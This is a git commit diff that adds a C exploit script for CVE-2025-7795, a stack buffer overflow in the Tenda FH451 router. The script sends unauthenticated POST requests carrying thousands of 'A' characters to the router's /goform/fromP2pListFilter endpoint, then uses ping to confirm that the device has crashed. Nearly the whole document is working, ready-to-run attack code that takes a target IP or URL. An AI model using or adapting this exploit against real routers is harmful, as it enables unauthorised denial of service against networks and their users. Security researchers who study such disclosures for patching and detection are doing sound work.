Merge remote-tracking branch 'upstream/main'

Author: certcc-ghbot

exploits/multiple/remote/52374.c

@@ -0,0 +1,381 @@
+/*
+ * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow
+ * Author        : Byte Reaper
+ * Telegram      : @ByteReaper0
+ * CVE           : CVE-2025-7795
+ * Vulnerability : Buffer Overflow
+ * Description   :
+ *   A buffer overflow vulnerability affecting certain Tenda routers,
+ *   exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash.
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include "argparse.h"
+#include <arpa/inet.h>
+#include <stdlib.h>
+#include <curl/curl.h>
+#include <sys/wait.h>
+
+#define FULL_URL 2500
+#define POST_DATA 10000
+
+const char *targetUrl = NULL;
+const char *targetip = NULL;
+int selectIp  = 0;
+int selectUrl  = 0;
+int verbose = 0;
+int showOne = 0;
+char postData[POST_DATA];
+
+struct Mem
+{
+    char *buffer;
+    size_t len;
+};
+
+size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
+{
+    size_t total = size * nmemb;
+    struct Mem *m = (struct Mem *)userdata;
+    char *tmp = realloc(m->buffer, m->len + total + 1);
+    if (!tmp) return 0;
+    m->buffer = tmp;
+    memcpy(&(m->buffer[m->len]), ptr, total);
+    m->len += total;
+    m->buffer[m->len] = '\0';
+    return total;
+}
+
+void pingPacket()
+{
+    int pid = fork();
+    printf("\n============================================== [Ping] ==============================================\n");
+    if (pid < 0)
+    {
+        perror("\e[1;31m[-] Fork Failed!\e[0m");
+        exit(1);
+    }
+    if (pid == 0)
+    {
+        printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n",
+               getpid());
+        char *const argv[] = { "/bin/ping",
+            "-c",
+            "3",
+            (char *)targetip,
+            NULL };
+            char *const envp[] = { NULL };
+            __asm__ volatile
+            (
+                "mov $59, %%rax\n\t"
+                "mov %[prog], %%rdi\n\t"
+                "mov %[argv], %%rsi\n\t"
+                "mov %[envp], %%rdx\n\t"
+                "syscall\n\t"
+                "mov $60, %%rax\n\t"
+                "xor %%rdi, %%rdi\n\t"
+                "syscall\n\t"
+                :
+                : [prog] "r" (argv[0]),
+             [argv] "r" (argv),
+             [envp] "r" (envp)
+             : "rax", "rdi", "rsi", "rdx"
+            );
+    }
+    else
+    {
+        printf("\e[1;32m[+] Main PID : %d\e[0m\n",
+               getpid());
+        int status;
+        waitpid(pid,
+                &status,
+                0);
+        if (WIFEXITED(status))
+        {
+            int code = WEXITSTATUS(status);
+            printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n",
+                   code);
+            if (code == 0)
+            {
+                printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n");
+                printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m");
+            }
+            else
+            {
+                printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n");
+                printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n");
+            }
+        }
+    }
+    printf("\n============================================================================================\e[0m\n");
+}
+
+void sendRequest()
+{
+    CURL *c = curl_easy_init();
+    CURLcode res;
+    char full[FULL_URL];
+    struct Mem response = {NULL, 0};
+    if (!c) {
+        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
+        exit(EXIT_FAILURE);
+    }
+    if (targetip) selectIp = 1;
+    if (targetUrl) selectUrl = 1;
+    if (selectIp)
+    {
+        snprintf(full,
+                 sizeof(full),
+                 "http://%s/goform/fromP2pListFilter",
+                 targetip);
+    }
+    if (selectUrl)
+    {
+        snprintf(full,
+                 sizeof(full),
+                 "%s/goform/fromP2pListFilter",
+                 targetUrl);
+    }
+    int rounds = 5;
+    int baseLen = 3500, step = 1000;
+    showOne = 1;
+    for (int i = 0; i < rounds; i++)
+    {
+        int len = baseLen + i * step;
+        if (len + 6 >= sizeof(postData)) break;
+        snprintf(postData, sizeof(postData), "list=");
+        memset(postData + 5, 'A', len);
+        postData[5 + len] = '\0';
+        printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n",
+               i+1,
+               i+1,
+               len);
+        if (verbose)
+        {
+            printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n");
+            printf("%s\e[0m\n\n", postData);
+            printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n");
+        }
+
+        curl_easy_reset(c);
+        curl_easy_setopt(c,
+                         CURLOPT_URL,
+                         full);
+        curl_easy_setopt(c,
+                         CURLOPT_ACCEPT_ENCODING,
+                         "");
+        curl_easy_setopt(c,
+                         CURLOPT_FOLLOWLOCATION,
+                         1L);
+        curl_easy_setopt(c,
+                         CURLOPT_POST,
+                         1L);
+        curl_easy_setopt(c,
+                         CURLOPT_POSTFIELDS,
+                         postData);
+        curl_easy_setopt(c,
+                         CURLOPT_POSTFIELDSIZE,
+                         (long)strlen(postData));
+        curl_easy_setopt(c,
+                         CURLOPT_WRITEFUNCTION,
+                         write_cb);
+        curl_easy_setopt(c,
+                         CURLOPT_WRITEDATA,
+                         &response);
+        curl_easy_setopt(c,
+                         CURLOPT_CONNECTTIMEOUT,
+                         5L);
+        curl_easy_setopt(c,
+                         CURLOPT_TIMEOUT,
+                         10L);
+        curl_easy_setopt(c,
+                         CURLOPT_SSL_VERIFYPEER,
+                         0L);
+        curl_easy_setopt(c,
+                         CURLOPT_SSL_VERIFYHOST,
+                         0L);
+        struct curl_slist *h = NULL;
+        h = curl_slist_append(h,
+                              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
+        h = curl_slist_append(h,
+                              "Accept-Encoding: gzip, deflate, br");
+        h = curl_slist_append(h,
+                              "Accept-Language: en-US,en;q=0.5");
+        h = curl_slist_append(h,
+                              "Connection: keep-alive");
+        h = curl_slist_append(h,
+                              "Referer: http://example.com");
+        h = curl_slist_append(h,
+                              "Cache-Control: no-cache");
+        h = curl_slist_append(h,
+                              "Pragma: no-cache");
+        curl_easy_setopt(c, CURLOPT_HTTPHEADER, h);
+        if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L);
+
+        char *encode1 = curl_easy_escape(c, full, 0);
+        if (!encode1)
+        {
+            printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n");
+            exit(EXIT_FAILURE);
+        }
+        if (verbose && showOne)
+        {
+            printf("\e[1;37m=========================================");
+            if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n",
+                targetUrl,
+                encode1,
+                full);
+            if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n",
+                targetip,
+                full);
+            printf("=========================================");
+            showOne = 0;
+        }
+        res = curl_easy_perform(c);
+        curl_slist_free_all(h);
+        curl_free(encode1);
+        if (response.buffer)
+        {
+            free(response.buffer);
+            response.buffer = NULL;
+            response.len = 0;
+        }
+        if (res == CURLE_OK)
+        {
+            long httpCode = 0;
+            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
+            curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE,
+                              &httpCode);
+            printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n",
+                   httpCode);
+            if (httpCode >= 200 && httpCode < 300)
+            {
+                printf("\e[1;31m[-] The server was not affected, still working !\n");
+                printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n");
+                printf("%s\e[0m\n",
+                       response.buffer);
+                printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n");
+            }
+            else
+            {
+                printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n");
+                printf("[+] Run Command Ping For Check Connection : \e[0m\n");
+                if (selectIp) pingPacket();
+                else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n");
+            }
+        }
+        else
+        {
+            printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n");
+            printf("[-] Error : %s\n", curl_easy_strerror(res));
+        }
+    }
+    free(response.buffer);
+    curl_easy_cleanup(c);
+}
+
+int main(int argc,
+         const char **argv)
+{
+    printf(
+        "\e[1;31m"
+        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖ \n"
+        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n"
+        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌   ▌ ▌▄▌▄▌ \n"
+        "              \e[1;37mByte Reaper\e[0m\n"
+    );
+    printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
+    if (getuid() != 0)
+    {
+        printf("===================================================\e[0m\n");
+        printf("[-] Not running as root. Trying with sudo...\e[0m\n");
+
+        char *args[] = {(char*)"sudo",
+            (char*)"./exploit",
+            NULL};
+            execvp("sudo", args);
+
+            perror("[-] Error Run Exploit in Root !");
+            __asm__ volatile
+            (
+                "mov $0x3C, %%rax\n\t"
+                "xor %%rdi, %%rdi\n\t"
+                "syscall\n\t"
+                :
+                :
+                : "rdi"
+            );
+    }
+    printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n");
+    printf("===================================================\e[0m\n");
+
+    struct argparse_option options[] =
+    {
+        OPT_HELP(),
+        OPT_STRING('i',
+                  "ip",
+                   &targetip,
+                   "Enter Target IP"),
+        OPT_STRING('u',
+                    "url",
+                    &targetUrl,
+                    "Enter Target URL"),
+        OPT_BOOLEAN('v',
+                    "verbose",
+                    &verbose,
+                    "Verbose Mode"),
+        OPT_END(),
+    };
+
+    struct argparse argparse;
+    argparse_init(&argparse,
+                  options,
+                  NULL,
+                  0);
+    argparse_parse(&argparse,
+                   argc,
+                   argv);
+
+    if (!targetip && !targetUrl)
+    {
+        printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n");
+        printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n");
+        printf("[+] OR \n");
+        printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n");
+        __asm__ volatile(
+            "xor %%rdi, %%rdi\n\t"
+            "mov $0x3C, %%rax\n\t"
+            "1:\n\t"
+            "syscall\n\t"
+            :
+            :
+            : "rax", "rdi", "rsi"
+        );
+    }
+    if (targetip && targetUrl)
+    {
+        printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n");
+        __asm__ volatile
+        (
+            "mov $0x3C, %%rax\n\t"
+            "xor %%rdi, %%rdi\n\t"
+            "syscall\n\t"
+            :
+            :
+            :"rdi"
+        );
+    }
+    if (selectIp)
+    {
+        sendRequest();
+    }
+    else
+    {
+        sendRequest();
+    }
+
+
+    return 0;
+}